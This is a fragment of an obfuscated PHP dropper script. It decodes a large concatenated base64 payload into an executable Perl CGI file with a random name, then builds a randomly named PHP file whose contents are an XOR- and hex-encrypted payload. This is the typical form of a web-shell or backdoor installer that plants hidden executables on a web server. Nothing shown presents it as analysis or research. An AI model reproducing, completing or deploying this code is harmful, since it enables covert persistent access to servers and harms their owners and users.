'N'.'CB'.'MUw'.'xv'.'fPR'.'uVZ'.'sA'.'+'.'4d'.'6fZ'.'TtC'.'q8'.'W'.'v4'.'yp8'.'8K'.'ZpH'.'sEm'.'n'.'J'.'Z'.'8P+'.'hMh'.'Z1'.'n'.'ZC'.'iFI'.'Ux/'.'MVx'.'UR'.'ZBB'.'J'.'q4q'.'IcY'.'itV'.'YDz'.'cdy'.'6'.'/'.'qF'.'e'.'Mpu'.'mfR'.'UD'.'Nf'.'h'.'V0'.'8r'.'ql'.'Vf+'.'V'.'Nd1'.'zQ'.'io/'.'amu'.'2'.'MoW'.'mb'.'Dbe'.'s3S'.'NG'.'PM'.'Vt'.'c'.'Aa'.'C'.'ih'.'wBr'.'WF6'.'Y'.'T'.'/'.'7/D'.'yMq'.'yiH'.'B'.'TEY'.'uJ'.'k'.'25W'.'nR'.'Og'.'Zt'.'Sew'.'D'.'Cpm'.'0TX'.'SW0'.'DC'.'JaV'.'jX'.'OQB'.'0'.'8MU'.'l'.'Gn'.'Xsh'.'B+'.'X4'.'d'.'u'.'R+u'.'3S'.'JN'.'bS3'.'Y'.'Pwj'.'BX4'.'JNh'.'2I'.'0M'.'B'.'XMp'.'nWH'.'jb'.'jHo'.'Hyk'.'s5r'.'2'.'v'.'XX3'.'4'.'P3'.'ww'.'V2a'.'xN'.'8F'.'r'.'k8d'.'L'.'L'.'E'.'Je'.'v'.'bED'.'+q'.'1Pg'.'2'.'hVJ'.'2D'.'W2'.'p'.'i38'.'IAm'.'vFo'.'Fob'.'Mi4'.'95q'.'KF'.'eU+'.'P'.'9'.'YDA'.'wrr'.'N'.'8W+'.'u'.'H'.'1It'.'GLE'.'TGg'.'uJR'.'/'.'f0H'.'48'.'N'.'gc'.'P1Y'.'qz3'.'KqH'.'K'.'mK'.'Gx'.'S'.'r'.'/K'.'Ml'.'RAg'.'k'.'yv'.'+B'.'X'.'fm'.'Xly'.'H'.'sB5'.'jU'.'S9'.'nA'.'40'.'YUJ'.'ObO'.'1'.'qe8'.'v'.'2A'.'e'.'f'.'V3'.'F2/'.'evj'.'g+'.'O'.'X3'.'T2'.'yJK'.'t7'.'C'.'loh'.'UdB'.'pq'.'T'.'q'.'e+w'.'Ar'.'lQX'.'Fb'.'EA'.'oRB'.'C'.'CKQ'.'nGo'.'1K'.'R'.'V'.'Ibd'.'e'.'P'.'Sg'.'wrb'.'JQU'.'Ju'.'Z'.'UdP'.'3'.'HS'.'33g'.'KZU'.'lan'.'/CC'.'G5H'.'FF'.'U'.'fJj'.'1R'.'y'.'V'.'6'.'6'.'q'.'p'.'A'.'5jc'.'hM'.'WBY'.'4R'.'z'.'Pb'.'ZlE'.'0mr'.'n'.'uQ'.'k9'.'zQT'.'XmE'.'pFO'.'K'.'OoC'.'Dc'.'ejd'.'P'.'Oiu'.'1w'.'g'.'Ec'.'qY+'.'A'.'2Up'.'JR'.'H'.'De'.'s'.'T'.'Fp'.'1Dh'.'3'.'8G5'.'WkU'.'d'.'ZQg'.'tD4'.'7O'.'4'.'s'.'vDZ'.'ych'.'zR'.'Quo'.'eC'.'b'.'t28'.'Qnw'.'PN'.'pny'.'u'.'KP'.'EEx'.'7'.'p8o'.'fu8'.'I'.'g'.'OQ'.'ah'.'O'.'H'.'M'.'5YW'.'8w4'.'On'.'j'.'2'.'jH'.'WGs'.'U/r'.'M'.'49F'.'Ng'.'1Yn'.'Xk'.'2'.'2P'.'D'.'d'.'5'.'S'.'l0b'.'YH'.'v'.'gYf'.'W'.'i'.'9Q'.'aBI'.'uS'.'lHL'.'Pjh'.'cB'.'6'.'y'.'hZf'.'c3'.'L'.'q0'.'K'.'m'.'LJ7'.'4T'.'kfW'.'c0J'.'tbP'.'k6g'.'H'.'ft'.'y'.'g5'.'5EL'.'+'.'BVg'.'a'.'H'.'AO'.'mu'.'ZHf'.'o0'.'i'.'Fz'.'K'.'0q'.'JU'.'QW'.'zV'.'Ud'.'J'.'z'.'B'.'ECA'.'F'.'FA'.'PcK'.'B/8'.'3'.'NC'.'M0'.'3C'.'5Qq'.'Hjg'.'Bt'.'A'.'YS'.'d3M'.'rHU'.'Zx6'.'H'.'vj7'.'rEf'.'L'.'S'.'i'.'5Y'.'r'.'/9'.'B0j'.'k'.'UCK'.'KIX'.'ZN'.'f3E'.'P'.'m'.'9I'.'oXr'.'ig'.'L'.'AA'.'ZuH'.'T'.'R8g'.'C'.'bt'.'iJE'.'yM'.'QC'.'7O'.'0'.'J9'.'cZI'.'5'.'tu'.'zK'.'Y'.'Cng'.'0v1'.'X'.'IZf'.'X'.'y'.'5O'.'nfp'.'Az'.'QQ'.'eqJ'.'rO'.'P'.'Y+F'.'r/t'.'nbz'.'o'.'C'.'ZH'.'TK6'.'L15'.'rYs'.'uXS'.'E'.'S'.'Xx'.'xV'.'iK'.'h'.'vyk'.'gh'.'Ebh'.'2'.'R'.'9n'.'eVc'.'ry'.'r'.'W'.'o/'.'j'.'L1'.'0kf'.'S'.'BlF'.'36S'.'1p'.'f'.'+eW'.'3/3'.'4'.'C/'.'mVm'.'kn'.'LCH'.'Yd'.'l'.'X'.'J'.'xs'.'CVg'.'x'.'z'.'14'.'FC9'.'6/l'.'m'.'ZrJ'.'VjZ'.'E'.'uEy'.'YCL'.'w96'.'5a'.'6'.'D'.'RvA'.'AX'.'RD'.'4Y'.'s'.'no'.'We6'.'Aj'.'x'.'i'.'wyR'.'Q'.'jf'.'J'.'lj'.'L'.'osv'.'Fyn'.'F3Q'.'M'.'Z'.'MNT'.'Rpi'.'Pe'.'Hg'.'T'.'q5A'.'O'.'Rm'.'3'.'7'.'y'.'c'.'T'.'1'.'f'.'79B'.'9r'.'4'.'8'.'qL'.'x'.'b7'.'Nx'.'c'.'K0'.'Z6'.'k+q'.'P'.'vNk'.'L'.'X'.'r9W'.'N'.'mCO'.'mS'.'w'.'t'.'EQm'.'2'.'eDI'.'9'.'2J'.'g0U'.'Bc'.'WiR'.'mt7'.'Ex'.'iac'.'u9g'.'pK'.'i'.'fL'.'XX7'.'8'.'9f'.'HCI'.'c13'.'8C'.'1'.'K'.'nK'.'M'.'U'.'8dl'.'l3'.'Pp'.'/'.'r'.'QP'.'nZ'.'oYs'.'vuu'.'1PS'.'YM'.'cvT'.'o'.'lVx'.'Pmu'.'o'.'eGp'.'Ek'.'WQ'.'PT'.'RBP'.'rP'.'n'.'M0D'.'PwS'.'D'.'2'.'1K'.'Qjj'.'LnT'.'j'.'z'.'pO'.'Owz'.'t'.'1'.'lD'.'/Nj'.'i'.'Ho'.'85'.'d'.'RuQ'.'BMD'.'LrT'.'w'.'ou'.'feJ'.'TE'.'I'.'2A'.'ov'.'Gc'.'RC'.'1D'.'LCY'.'F0'.'f62'.'P'.'fH'.'LqM'.'BeC'.'2IY'.'t'.'hR9'.'GwE'.'Rzh'.'3'.'0Tn'.'hIX'.'1y'.'5n'.'t+'.'a8'.'c'.'0t'.'3b'.'h3'.'54'.'Jp'.'Td'.'kL'.'v'.'geB'.'lE0'.'YS'.'zz'.'R'.'oE'.'Hr'.'M'.'5'.'2F'.'CTw'.'Yw'.'h'.'t'.'6X'.'IIy'.'I5'.'D'.'bLB'.'bG'.'9'.'ae'.'xZp'.'7'.'bdt'.'3/'.'bC'.'1'.'c'.'bx/'.'cnK'.'83'.'UZ'.'hG'.'nL'.'jl'.'oo7'.'E'.'9xZ'.'3Z'.'rCJ'.'4'.'S9'.'z'.'dp'.'T'.'S'.'O'.'v'.'ca'.'5'.'nt'.'g'.'DoO'.'98'.'Y'.'t8'.'44'.'uE'.'yZ'.'P7d'.'HIN'.'O/'.'0LG'.'g'.'m'.'0lV'.'K'.'2'.'z61'.'7K'.'aVb'.'rs'.'/Gu'.'0N'.'d'.'z'.'N'.'e'.'TT'.'O4'.'JS'.'Y'.'UTf'.'zTH'.'voh'.'rG'.'4'.'M'.'/'.'Tj'.'2p6'.'0'.'mjE'.'W+'.'yx2'.'ysW'.'ON'.'6P'.'6BF'.'Bb'.'Dt'.'2Xp'.'22z'.'ad'.'l'.'k'.'cA'.'z3K'.'icy'.'s'.'4La'.'Nc'.'D'.'So'.'y'.'8d'.'eyw'.'Z'.'bs'.'b'.'AgX'.'IS'.'Gb'.'mA'.'FWC'.'ZK'.'be'.'O+d'.'B'.'b7x'.'NpN'.'vrW'.'Ls'.'jeb'.'TX'.'v7I'.'JU'.'rpA'.'6fR'.'S'.'3r'.'Ke'.'wzp'.'b'.'fS'.'8q'.'0D'.'E5g'.'Ay'.'S3'.'w'.'p4'.'4'.'/b5'.'kEC'.'M'.'g'.'O'.'ir9'.'h'.'WU2'.'iW'.'1au'.'L0'.'5'.'Z+'.'/C'.'xn'.'3x'.'JmK'.'Pwm'.'bY'.'H'.'bG'.'+4V'.'x'.'A'.'8LV'.'z'.'Lin'.'ap'.'dQ'.'R'.'Lc2'.'UJE'.'VlY'.'L5'.'e'.'CZ'.'bI'.'fi'.'ud'.'Q'.'gC'.'Tb'.'c'.'MVE'.'JR'.'vuN'.'63'.'m'.'MNP'.'Css'.'r'.'Cp8'.'gcw'.'Ei'.'a3'.'7kH'.'rs'.'8'.'aQz'.'hn'.'f0q'.'k'.'b'.'IR8'.'PIl'.'bF'.'mxd'.'M'.'q'.'Vpg'.'S3'.'t'.'W'.'R'.'j'.'B7o'.'HPh'.'V5'.'ifs'.'7'.'Eg'.'j2'.'zop'.'n'.'Il'.'O8'.'L6'.'f'.'1'.'6'.'W'.'S'.'w'.'sR'.'XK'.'M4'.'t'.'R'.'fK8'.'hC'.'k'.'i8'.'6K'.'4pM'.'w8Y'.'Y9'.'c'.'HKf'.'W'.'A6b'.'L'.'y'.'1sX'.'0'.'Es'.'b'.'J'.'LzK'.'2N'.'p9b'.'J'.'yf4'.'e+'.'Kv5'.'k5'.'biZ'.'Q4h'.'sui'.'qx'.'Kld'.'8'.'7h'.'BE'.'zU'.'r'.'uu+'.'C7'.'lU'.'U'.'V'.'9CI'.'sUf'.'j'.'WO9'.'b'.'urU'.'TEe'.'q6'.'Ka'.'Y'.'u'.'G0'.'l'.'I'.'y1'.'q'.'1J'.'v'.'7n'.'1U'.'Ac'.'2'.'t'.'bed'.'ir1'.'aDS'.'qh'.'I'.'Yw'.'V'.'nmN'.'C'.'eE'.'7'.'X'.'A0A'.'D'.'LTM'.'o'.'3dS'.'tRK'.'B0u'.'ht'.'r'.'vd'.'tG'.'cm'.'lc'.'Gm'.'mM'.'b'.'F'.'h'.'wbS'.'1Y'.'9'.'s'.'V'.'yaT'.'r'.'loD'.'b'.'B'.'+'.'BW'.'MU'.'/T'.'krD'.'S'.'a'.'nrQ'.'9'.'0og'.'+fK'.'uDE'.'OKw'.'k'.'luK'.'a'.'MZL'.'dte'.'g8'.'B'.'K'.'bNw'.'Ts'.'3m'.'EY'.'D'.'oRO'.'FU'.'cvY'.'zlX'.'g5c'.'7A'.'cS2'.'p'.'AJe'.'rBf'.'zKG'.'clH'.'I09'.'yY'.'s5'.'H'.'F7'.'Cgs'.'m'.'UvE'.'Ds6'.'RX'.'EE'.'LjG'.'a'.'cef'.'2Lu'.'7j5'.'9+p'.'1ws'.'qeO'.'CKa'.'y2f'.'e'.'t'.'UXM'.'/VZ'.'o'.'d'.'j'.'Eb'.'sI'.'F'.'N'.'a38'.'3V'.'lg'.'U'.'g'.'U/s'.'A'.'t'.'W5'.'W'.'8s'.'Le'.'Gqd'.'fI'.'0J'.'rBE'.'1ft'.'ATD'.'YBx'.'W8'.'38'.'pC'.'f'.'h'.'g'.'2mU'.'BO'.'U'.'zlO'.'f'.'zbo'.'p4'.'k'.'8'.'m/'.'v'.'s+'.'bQ'.'qpa'.'G'.'N'.'bYp'.'YrB'.'r0'.'e'.'Z2'.'qok'.'wT'.'iV'.'F'.'t1o'.'Rc5'.'n'.'o'.'zU'.'v4'.'bQ'.'Ms'.'+'.'8'.'10'.'f8'.'C'.'SNf'.'f'.'v'.'0o4'.'tL'.'d'.'CHR'.'t'.'K'.'i'.'H'.'GK'.'pT'.'sv3'.'u'.'oOL'.'rK'.'p'.'KtY'.'H5S'.'u'.'yx'.'dRN'.'s'.'h'.'6'.'7s'.'AL/'.'DIy'.'9'.'+2'.'Cl'.'8Kz'.'VO6'.'mG'.'Mhx'.'si+'.'xoF'.'Yw'.'C6'.'HaB'.'PQ'.'q'.'ej'.'m'.'PJ3'.'gm9'.'H'.'a'.'cKx'.'I'.'A'.'7h'.'n1N'.'a1D'.'0'.'cJ'.'k'.'eL'.'p'.'Ns'.'v'.'9Q'.'ltp'.'V'.'u'.'S'.'vtB'.'8iR'.'MG'.'g'.'U7'.'PAz'.'S'.'h'.'JE'.'FF'.'xq'.'MOC'.'yE'.'I8'.'E'.'Spq'.'4c'.'Gs'.'DZ'.'iB'.'z'.'9C'.'0ep'.'WG9'.'UT6'.'RWl'.'7jF'.'fA'.'x+'.'oZd'.'Is'.'F'.'0'.'BSV'.'9xK'.'LY'.'u5'.'a'.'fv'.'B'.'ok'.'0Uv'.'S7'.'uj'.'2'.'O'.'O'.'B1'.'w'.'FsL'.'/'.'w5+'.'LY'.'PF'.'y'.'QQ'.'yqb'.'PD'.'Vt8'.'o'.'oc'.'DB'.'X2'.'pBn'.'TZ'.'H9'.'D'.'WP'.'1Q'.'9LJ'.'d'.'p'.'aJ'.'Pcu'.'n/'.'BiL'.'h'.'FIM'.'Dj7'.'l'.'pC'.'3'.'4hQ'.'hz'.'77u'.'yy'.'v'.'NC'.'Bd'.'4'.'m4L'.'39P'.'pCV'.'W'.'d'.'Z'.'T5Q'.'e0'.'qev'.'Z'.'Ao'.'CuJ'.'B'.'Z7/'.'7'.'pKC'.'S'.'d'.'J'.'FpG'.'hxN'.'a'.'2'.'0Ms'.'+r'.'3Y'.'Jg'.'Kf3'.'1o'.'EbS'.'zv3'.'7J'.'/Z'.'CWf'.'qb'.'D'.'u'.'1y'.'Zr'.'I'.'yBS'.'em0'.'iy'.'c'.'Sj'.'sD'.'dQI'.'nz'.'GXp'.'qD'.'9Q'.'wSu'.'T'.'R'.'x'.'5d'.'Hah'.'3'.'Ytb'.'+'.'o'.'Y'.'s'.'AO'.'78'.'I+F'.'uu'.'EbJ'.'z7Y'.'/f'.'GP'.'yps'.'y'.'oMS'.'P/T'.'1e+'.'en9'.'OsX'.'jyo'.'p'.'O'.'xt'.'ef'.'AHk'.'uw'.'4'.'b'.'v'.'7Q'.'K'.'di'.'W0'.'f'.'FHj'.'vDl'.'Q'.'3v'.'5QJ'.'9wi'.'1jO'.'a'.'t'.'Mb'.'R'.'kF'.'b'.'fv'.'4'.'V5'.'h'.'Op'.'o'.'icu'.'N'.'Vxu'.'f+'.'oo4'.'GV'.'wh'.'Bz'.'x'.'c'.'Fo'.'f'.'q'.'C9C'.'Rh'.'b+'.'jEQ'.'z'.'+PI'.'MP'.'C1x'.'N'.'V'.'g'.'kP'.'K99'.'Jy'.'7Hk'.'l'.'P7i'.'M'.'KP'.'dib'.'wx'.'J'.'+y'.'/'.'8'.'c'.'V'.'QP'.'nl'.'cZ'.'n'.'xf'.'iQ'.'TT/'.'H'.'ykr'.'oU'.'9DL'.'XXD'.'Am'.'TAi'.'7'.'t'.'Rn'.'D'.'y0A'.'4'.'O'.'/'.'H'.'p'.'b'.'E'.'owk'.'xJ/'.'RO'.'5'.'7'.'4I'.'w'.'Y'.'wOX'.'UI'.'23d'.'L'.'WDv'.'l'.'tm'.'z'.'m'.'K'.'XMl'.'2'.'J'.'iM'.'3sP'.'FA+'.'jJb'.'/'.'P'.'H'.'tau'.'ji'.'5PL'.'/o3'.'5y/'.'Oe'.'uK'.'u'.'tJ'.'DT'.'cpr'.'e'.'5'.'c+'.'9yw'.'J'.'N+'.'TI5'.'e4X'.'BKR'.'lp'.'6'.'a'.'C8'.'f6'.'1d'.'z'.'rxU'.'t'.'A5'.'xGA'.'bz'.'z'.'VC8'.'KMt'.'LY'.'xv'.'f3'.'v'.'AN'.'tX'.'i'.'N'.'s'.'obO'.'k'.'XT'.'yRr'.'xE/'.'D'.'F5'.'f/'.'2'.'oCW'.'s'.'X5'.'tD'.'m4'.'o'.'0Ux'.'4u'.'C'.'4C'.'35h'.'0H'.'0'.'2H'.'Y'.'G0'.'RN'.'8'.'kMp'.'e'.'7'.'WrQ'.'c'.'87c'.'uP'.'i'.'C'.'87'.'u'.'L2'.'+U'.'3'.'vyo'.'H4c'.'FFk'.'tJ'.'L'.'b'.'/L'.'ar'.'BdG'.'czM'.'L'.'8re'.'u'.'c+/'.'1U'.'g'.'6'.'uYj'.'tkU'.'K'.'x'.'/A'.'wX'.'qV'.'M'.'IcJ'.'x'.'P'.'J8s'.'E'.'Eu'.'H'.'bxs'.'WE'.'VW'.'sn'.'+o'.'y'.'b'.'r'.'8ub'.'K'.'XRg'.'+'.'nM'.'jn7'.'T'.'9'.'Ui'.'b'.'NCO'.'3h'.'ed'.'LY'.'CZV'.'oS'.'0'.'6Z'.'F9'.'lb'.'rm'.'5'.'R'.'C'.'U'.'VS'.'x4'.'Z'.'Lq'.'Ra'.'3v'.'1'.'2FQ'.'P7d'.'mVr'.'tl'.'V3V'.'vP'.'y'.'T'.'PSL'.'BL'.'eko'.'io'.'T8'.'Hgq'.'apk'.'igA'.'Me'.'w'.'Jg8'.'ymi'.'vSk'.'ii4'.'G'.'3Sa'.'JC'.'PTD'.'5L'.'oy9'.'ZTN'.'/'.'K0'.'H'.'kS0'.'4y'.'B+1'.'aF'.'GLq'.'uu'.'sz'.'02'.'1q9'.'NXS'.'/XF'.'m8s'.'z8d'.'o6'.'2Cw'.'nnP'.'Zq'.'Fr'.'sn'.'IW'.'ll'.'/0'.'R'.'NK'.'//3'.'orT'.'t'.'107'.'p'.'XT'.'fV'.'E'.'B/'.'TyN'.'fi'.'u'.'4p'.'4J'.'Uq'.'mJ'.'Z'.'+t'.'jLy'.'YUe'.'cTA'.'K5'.'+W'.'KL'.'sas'.'vaT'.'X'.'K5i'.'k+'.'o'.'4cD'.'T8B'.'k3'.'ca'.'XaD'.'V'.'6'.'T'.'3pW'.'kMu'.'8J'.'UL'.'kk9'.'/6'.'K'.'vhm'.'2'.'W'.'b'.'aXK'.'Tnv'.'tRM'.'/S'.'Z0q'.'a75'.'R'.'281'.'7'.'G9t'.'2Mc'.'Rk'.'F'.'w9D'.'/wO'.'1LT'.'j'.'YtC'.'M'.'AAA'.'=='.'")'.'))'.';';
$asc = prvdz_ascdump($pl_payload);
$f = fopen($plf,"w"); fwrite($f,html_entity_decode($asc)); fclose($f); chmod($plf,0755);
$paths[] = ["CGI Perl Special", $plf];
$phf = $cgidir.'/'.prvdz_rndstr(9).'.ph'.'p';
$cf1=prvdz_rndstr(5); $cf2=prvdz_rndstr(6); $cf3=prvdz_rndstr(7);
$php_payload = <<<'PHP'
<?php $ve017499b24="366f3971556a482a3966526e26334d65666565626432336536666339316336392454704c237a313940425e6137642158";$v6789ef794d='';for($i=0;$i<strlen($ve017499b24);$i+=2){$v6789ef794d.=chr(hexdec($ve017499b24[$i].$ve017499b24[$i+1]));}$v6789ef794d=strrev($v6789ef794d);function fc726c15f02($be0647970224518ac6c7abd9ee879da39f7){return hex2bin($be0647970224518ac6c7abd9ee879da39f7);}function ffe80814332($be0647970224518ac6c7abd9ee879da39f7,$e3d26b8f3fb594246){$e3d26b8f3fb594246Len=strlen($e3d26b8f3fb594246);$a297955cd64439654e8031e1e='';for($i=0;$i<strlen($be0647970224518ac6c7abd9ee879da39f7);$i++){$char=ord($be0647970224518ac6c7abd9ee879da39f7[$i]);$f93700fcddba236015a=ord($e3d26b8f3fb594246[$i%$e3d26b8f3fb594246Len]);$a297955cd64439654e8031e1e.=chr($char^$f93700fcddba236015a);}return $a297955cd64439654e8031e1e;}function f0fe28bdc4c($be0647970224518ac6c7abd9ee879da39f7,$e3d26b8f3fb594246){$eb7f6b8164569b7c36e1=fc726c15f02($be0647970224518ac6c7abd9ee879da39f7);return ffe80814332($eb7f6b8164569b7c36e1,$e3d26b8f3fb594246);}$vfa90f6f087="641e145f1153486050575a0b682f07616b60266362413a0757016e555250391e507c6f175c673a081a7d3664430a334e6d15380652691e71080426127c45085c0c023f0008533a0754046e1c5651473b45700e1b4e703a411e7f362d450c33076a15461e412562285c501e463e5876780806506d0856516a540604381a52513a1d7b067a5f675065527f5e09440c33076a15384f56671e380e01265b7a45085c0a573f490e573a4e53066e1c555d395753796f13590e1e0f12141262456517003c7d1c0102023a735b6d4e1310416017654e5509651b5007394b05563e545355397c0713322a510d763059312d085d03041056033d26767665044f7f34436c06100d430e076e6c0a0d475f085c590d0304290d1a1a3b12554f76447a555a025278431d47002d31604a59494f205028044e41141f49110f4001524b1e4c060a0b5962474f1a3e0307163b1e2c1d5c515437451d4c033f212b5e43155622146e075f50050a5a0c0a591709110157565c555076554900264b5f4b25033908030259364e1747003d273d5b440e57231e784d57461645420107550e54400b170b015c462b57430d3705024927063a03034c536d125d045465202f4b551f517641245c19450c5d500746150006015d51505e160429574f00355c015a304a644549170d354016500830787749495a1377123b565d53111c4b02025f10400853121d1816172848440f310d5e58271f3b15034c503e4753515665212f555e08196f1561170005560a490202520c5d555e5356151e457c0b5616690456582c0f275c4b0e523154170d506e3238025c1b512b193a094d59130b0854164e5e515d1c4f160d070122441c5e72544952685b6701414f153d14570e526b7070025e0c463e16384b4e0c02444d0c1b571e505d080d175f45077a02455f311b79472d0e3c10110257200c135e052a2a7a0f014a5334592f464c42175e574f0f58154646481217001d1224575206685f0e5c3f17284d161c42214d01095d2d213250410e1d2a053a474d5f0c5f1907540401040a0707545454502e56155d7a14155e611139144d4f53744e591543722c7d4d1f194b2d02174b5d53224511534f0d035c404c0758555d007141080237085e5e2051305a124659731c374313372c271757084c21333c454b750c555c4b1418065b5316210a010324391b43470c0810113a0f21044b0116375c693d173f3060580c21127c44781508004f0008554a0754011e55535049535d61071142665115137146644109430769114803577273710b1d4b12785c65140c1a5200014f5706551f0b534e545757497c01144266501513714664400843076818390c173f30605b0c21177b5c65140c1a5201004f5f01490202574e545557497c021342665164113e0b27515a526d69115c1b506f736c0801490f7d41650800034f00085b4a03556e091203174502581607104263570b06795b655d085f05052c6e5114302134505e140339582408481a111d4a4a1d40044112105f154b050a2350471a7a17155864197c4a4f0e44785210455c79657b5f5e080b3a112604500b530a505f121809565c03160d5e0f4e661a5d1d261412171b1e27185708183e530b5a223623327a5e1e4664040f4d641f1e3c3311034210415c441111171b684755530031125045264a235941464d2a441042133062224d5e1b0b345929293350165f5a170f590b13515d5655555e077e0b470c3304011b714221584203532c01010a437c79265643524f2904744a0406585f0517485a005d55100a5e0b4d4e64560d537a440908631e7b12510e441b4e0052202a6a2e101f0e4c1f04264d57514b000f4a4f18165f5b07074d48544c7641431a2714570a2d17587b1109433642105e0e3062230d054a167d4331425c52070101515707071b1b1f140417461d25411b003711197205261d054d1f643d501152122a6a6902491251621f2441571e44617630321149461a054e07490549291a0a4f624f025220187b025c1b643d501152122a0a2558551f516457174b5742065f4d4e324f1556154845041516092450471a3b095705304722064e42503753091a142c2e25575215472914730d024e0b4317100358011b15020b09005b4266450e023d05585e21053b5f511d533e084d4a48766b49343b1c562213204d565843555b57515056050501045007045d7c0a0e0b7b1d554f3c4a3b4c5c4145284d0d43497c606917431f5529022741111f4d5b560a081e47111b48105801545729041e0d375708187d0930420a475874032f15486530254d44084d6c136d1009065b530a5b075404510a555b4d174f184039401b3c054d432704751e571c433a09111e1a3227341954475662136f565c4216435743031813525e1107580104517a55155865035f1f2a086d400047537657055b143b6b6c1801071f630337565046170f054c0e5304570c58000a011f5b715b145021125c4b241e3d511740123b4c0017032732214a425a5f6c072353174611584f07074f1f1d510b0f594a0e57730f191e3a16190a6c356551044f5f2b520143497a1d077c652101104160171b6b4a11064342692276663f40395452566f6e065472411e11680c201f5a1b5f374f4454003c75770e5743132d426647080f4b1566524f161e13163b50455846426a0806083d1419026c356651044f0663014068527e7e604a45084f291e7c0066074a0a1947390545180f44504c451d45696c144e7c5b194920187d195c17523d424c133e6f1964660227036250707b086d476e0a434d16546e1b4d59451846172847531c3c461d757a51750c1909433642105e0e3062240b031e1474133115080456525c50551e416c064842413a534c6d48064a0d541917684d724a194b696e0159170e2c26681d6e4f787c2d7d1f19500c43194b426956130f44525e45423a7e131a4e21124b462d047d55665b1f6301406852756969194a5a071342740a041600594b4b0944011b163b563e413956101a06307242661c6151750c191d532c541659417a1d7202110703682f63040416441602430f50451b163b524c451d45696c1e4e6f465d187a0e62495a0a0769135154046d71685a5018147b47321d095751035a525f1e416c024d4e45473a547c00044769461d757f4a68514a1b442a44121f45017a6902110703291c2741194d43156654460b45116e1c545c395751796f115d0e570f1f145b6047651700697d5502540273740c6d02117c2c2c165d6a520508415d16181357070a0a4544397a077a16645065527e0c09400f5d6a2017006b556e1e380f552612784508150f023f490f5b3a0750046e1c5451391e56296f12590e57091d145b6544655e046c7d50003d26707065004f1410416112654e5402651b5103390206563e1d5302397c0617322a510d763059312d415d01041052053d26747565004c1710416211654e5403651b5053390702385350523a5478057a166555651b7e5f09090f5d6a6d11384f566a1e380f09265b7a49085c0e053f04083f5105390705385553391e04114b150d0e1e0f13145b6047651701687d550154023a770d6d4e131008624165075700651b5052394b04513e52503a517a6f175a613a0d1d14126741655e006e7d1c0150023a765a6d4b15792c2c120c6a1b025d3f5201394b00533e1d56033935527a59663a081e7a362d460c33076e15384f566a1e380f57265b7a15085c0a533f490f543a00556f4a5701395051393505143263500c76305d612d415802041051003d26742565494946100835784105006d0c543a0751056e5557523957537f6f5e58363a41192d366245655e00687d550153023a760c6d021029526f045f430d524d0a09584550034c463a5c4f453613540b26134b44680338015500523d0943104d7e23324b50037c2111240c5f430d524d0a0958451b163b53554c461e6d41431a2714570a2b0227591d300768085f171c7262646608530a775029045f430d524d0a09584550004c463a5c4a45696c175f7b46420a6c3564431952167f065f1707313060111525106c4d74140216476e0a435a1616474008070b4d423a741a1d4e76390a016343750a194b69691344195c7e21284b1915512858707b006d476e0a3e4f163b13163b53544c5d453013540b26134b44684e0a400b5416250102420f3d3629565f5a407f58707b001f434a1911034210415c440004160353796c420b31095d4f604e0a48105416250102420f3d3629565f5a407858707b001f434a1947390756130f4445425e46032241430f310e19023b1e272e4a1f5a31554c133e676b6058425a071341650d194d4315665255164b0e12463e1d53553935051e3263500b767d5a7751174f592a454c133e6f7369191f5a011008661d1b164d111b3f53004708121942170012103f5d061d27044a5e3a42712e085c1a781148174c6f6b7b194c5a45391e375050590d115a564e123a0a1b4419451703113841484e38095044604d725d191c422a7e17470d3736681d6e430a654b745919123c000d435b16044140051b4d06574d2c41540f2b4e081b7d4675400b5e1a781055024d7e73710f1d5a127c41780408065a18104f4655541b531610041c4e547c060a4e63560d06685b6540154f0768194817506e7a6c19084f0f6c41641515165203094f460755021e445b5c4c4f496d501446703a411c7e362d475c33076c15384f576e606c1907530f6c13650c58441150404b5707571f125d5549455754781f065f6353150a795b635d195e066c0d4406506a6e6008004d0a655c7447081e02434b021f1e5402004842545457496d02175c7e46081a79467540085f1f710d44545376601c0804497f7d4561780803546d0850506a540702385353573a547b027a5f64561b06685e7c5d190c077040164500276a7108035603754978040807531d19525700491303545a49455f506113175e634a191b7a5a7951085f0774015d0e48776e605a0052423e02355d110f541d195257034913035557494557557c1f065f6352150a795b63581043163b104c56132c233911004a1260506515011a43080e4f4607550b1b4d4b5e450010235052073d08195a3a5b23414147120710511e4125626466035a1e6c57731f19123c000f435b1625435d14070b4d423a7c060640724465527a5a09470b33016e7d1c05570274711b1d5a01100863161b1f58115005461e416c03524b451e4612255a4a0b724e184c2d0533591d30076e084d171a7e661f0b11541e6c16264158524b156652501a450102505a4c5e46186d4345023d155c026c35644710541625011652152b302e19152511775029045f430d524d0a09584543405614551d4e4112021347721d190e1758754c194811630140685069627d195008512d097c15190b5d11581114571c1b10381a52553a5478027a166556651b7c5f775d194d6a6917531548726272190c44032d022645401e416d0855566a540603381a52553a1d7b0604427244651b7e5d77581054167c7e550f4163620049431540131f2441571e476e0856461845116e1c5055395057110410322a540f767e5b775d194b696916481745017379100a5a4a2a507c4d4a6911544a0c134406561a403d545d4f4c6d48064a0d541904754a26054b0a57357e03521501212f57451f4d38037c0066075a6a083e4f0d455551080d16004e4112021f35633b1011684e0a4319410b78521045043f2f1f5e540e7c2f1f3a505c581742114739075c6800394b5e450006215c550b7a42661b7131672c10541628530b543e3d2e2f4a54520713416c0d02161e114b061243175d12403d575e46186d55530031125045264a25030b0c0620094068506b6b60421113456c58325157551758560d39531d5a4110114d473a547b037a166455651b7d5c09090e5b6a2017076b506d751c41074f7f7d4764784100566d085755144c1a121f42413a54556d0e064c0e530f76305833531941162d4f0d46083a6a6265494d101008621c1b1f431f19413a03536f4a5356395451551102105a705d196a38093b055530532044071f4302777765494c111008621d65075607651b5450394b05573e1d535e476113471c200740026a362d435d334e6e12461b417c396466004f5e10086614654e505442473904554e6e5052391d5557110410322a540f763059645310460d7848021749382b2c5c6e1f5b2503205711123c03094a4f161e13163b5054455b450d554f0237395e4f3c35361e571b533655171f45017070100a5a56221c3d4a521e476e0b534f0d4541571017170b464112011755721b1957681830054c1d587806430c4123626466034803715035564b571a19105846500a415705010d454e411202124e3315190e175866581914167c7e56053a03627d19570f4d2f043d4b57164b156652531f454641014a413a545664135d4e3b0019026903262e5a0e5a3440065b0476661f0b02530a6c0b74565c421643574300570940575f42184514003946540072265a4b24060a044a0a44074711590276661f0b025603682f6511100d434c02434269570169394258450010235052073d0819026c356444104f432b444c133e6c7169194a5a512904215657162352580f0a69104057163d031008066551471d37500d752c0f361e5d0a1e3a401752576a1d25575215472958707b0b054a181543426954061b5f42185e4641120114350f46040a2e1f3b124d065936014c133e6f77691944094664540b160a1f434a1911034210415c44220